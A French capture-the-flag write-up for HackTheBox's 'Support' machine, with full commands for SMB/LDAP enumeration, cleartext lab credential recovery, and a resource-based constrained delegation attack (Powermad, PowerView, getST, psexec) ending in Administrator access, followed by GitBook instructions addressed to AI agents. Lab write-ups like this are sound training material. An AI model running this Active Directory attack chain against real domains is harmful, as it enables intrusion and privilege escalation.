> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Compte rendu HackTheBox de Support {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération SMB * Analyse binaire EXE * Débogage avec DNSpy * Définition de points d'arrêt et récupération d'un mot de passe LDAP en clair (DNSpy) * Énumération des utilisateurs Kerberos (kerbrute) * Énumération LDAP (ldapsearch) * Fuite d'informations * Abus du groupe des utilisateurs de gestion à distance (Evil-WinRM) * Énumération avec SharpHound + BloodHound * Abus des comptes d'assistance partagés (GenericAll) (attaque RBCD) (délégation contrainte basée sur les ressources) * Attaque de délégation contrainte basée sur les ressources - Création d'un objet ordinateur (powermad.ps1) * Attaque de délégation contrainte basée sur les ressources - PowerView\.ps1 * Attaque de délégation contrainte basée sur les ressources - Obtention du ticket de service usurpé (getST.py) * Utiliser le ticket pour obtenir un accès Administrateur (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

#### **Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Scan des versions des ports avec Nmap :** Utilisation de Nmap pour scanner les versions des ports et extraire les informations dans le fichier « targeted » : ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **Énumération du contrôleur de domaine :** ### Lister les partages SMB : Utilisation de CrackMapExec pour l'énumération SMB. ```bash crackmapexec smb 10.10.11.174 ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` le fichier

### **Liste Kerberos :** Utilisation de Kerbrute pour énumérer les utilisateurs. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Exploration des partages réseau :** Recherche de dossiers partagés sur le réseau. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Nous découvrons un fichier zip intéressant appelé « UserInfo-exe-zip ». Pour continuer, nous utilisons la commande `get` pour le télécharger sur notre machine.

### /*/* Analyse d'un fichier binaire Windows :/*/* Nous allons lancer un exécutable Windows sur une machine équipée de Windows. Pour cela, nous devons : 1. Transférer l'archive ZIP

2. Migration de la configuration VPN 3. `/etc/hosts` Configuration

Pour exécuter le binaire et identifier tous les utilisateurs valides, il suffit de saisir la commande suivante ```bash ./UserInfo.exe find -first * -last * ``` #### Ce binaire nous permettra de lister les utilisateurs.

#### Analyse du fichier binaire Windows téléchargé avec DNspy. {% embed url="" %}

### **Extraction d'un mot de passe en clair :** Utilisation de DNspy pour extraire un mot de passe en clair depuis un binaire Windows.

Nous allons exécuter le programme, mais nous ne nous arrêterons que dans la section où le texte est en clair.

Voici le mot de passe LDAP :

### **Vérification du mot de passe LDAP :** Vérification du mot de passe extrait avec CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Liste du domaine : ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Utilisateurs du domaine ``` enumdomusers ```

#### Groupes du domaine ```bash enumdomgroups ```

#### Descriptions des utilisateurs : ```bash querydispinfo ```

#### Insérer tous les utilisateurs valides du domaine dans un fichier. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Nous allons maintenant vérifier si le mot de passe LDAP est réutilisé pour l'un des utilisateurs suivants : ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Cependant, cela ne fonctionne pas.

### **Liste LDAP :** {% embed url="" %} #### Utilisation de la recherche LDAP pour énumérer les informations. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Beaucoup de données sont disponibles, cependant, en appliquant un filtre sur les informations de la chanson, un mot de passe pour l'utilisateur support est découvert. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Exploitation :** #### Utiliser CrackMapExec pour confirmer le mot de passe associé au compte support. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Cet utilisateur fait partie du groupe des utilisateurs de gestion à distance, ce qui nous permet de nous connecter via Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Utilisation d'Evil-WinRM :** Se connecter au système cible via Evil-WinRM en utilisant les informations identifiées obtenues.

## Élévation de privilèges ### **Vérification des privilèges actuels :**
En utilisant les `whoami /priv` commande pour vérifier les privilèges de l'utilisateur, sans succès.

### **Analyse des groupes d'appartenance :** En utilisant les `net user support` commande pour inspecter les groupes auxquels l'utilisateur appartient. Découverte d'un groupe apparemment rare, « shared support accounts ».

### **Utilisation de BloodHound pour l'analyse des privilèges :** #### Utilisation de l'outil BloodHound pour cartographier les relations d'accès. {% embed url="" %}

### **Exécution de SharpHound pour une analyse plus approfondie :** Utilisation de SharpHound, un outil complémentaire à BloodHound, pour collecter des données supplémentaires sur les relations d'accès. ```powershell ./SharpHound.exe -c All ```

## Vulnérabilité : attaque de délégation contrainte basée sur les ressources : {% embed url="" %} ### **Identification de la vulnérabilité : attaque de délégation contrainte basée sur les ressources :**

#### Déploiement du script Powermad pour créer un compte machine. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Utilisation de PowerView pour vérifier la création du compte machine. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Définition des autorisations pour le compte machine à l'aide de commandes PowerShell. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Avec cette commande, nous vérifions si l'ensemble de la procédure 'Get-DomainComputer dc' fonctionne en utilisant les propriétés 'msds-allowedtoactonbehalfofather identity'.

### **Exploitation de la vulnérabilité** #### Utilisation de l'outil Impacket pour exécuter la commande `getST` pour obtenir un ticket TGT en usurpant l'utilisateur Administrator. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Configurer l'environnement Kerberos de l'Administrator en exportant `KRB5CCNAME`, puis se connecter au système cible en utilisant Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Drapeau final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.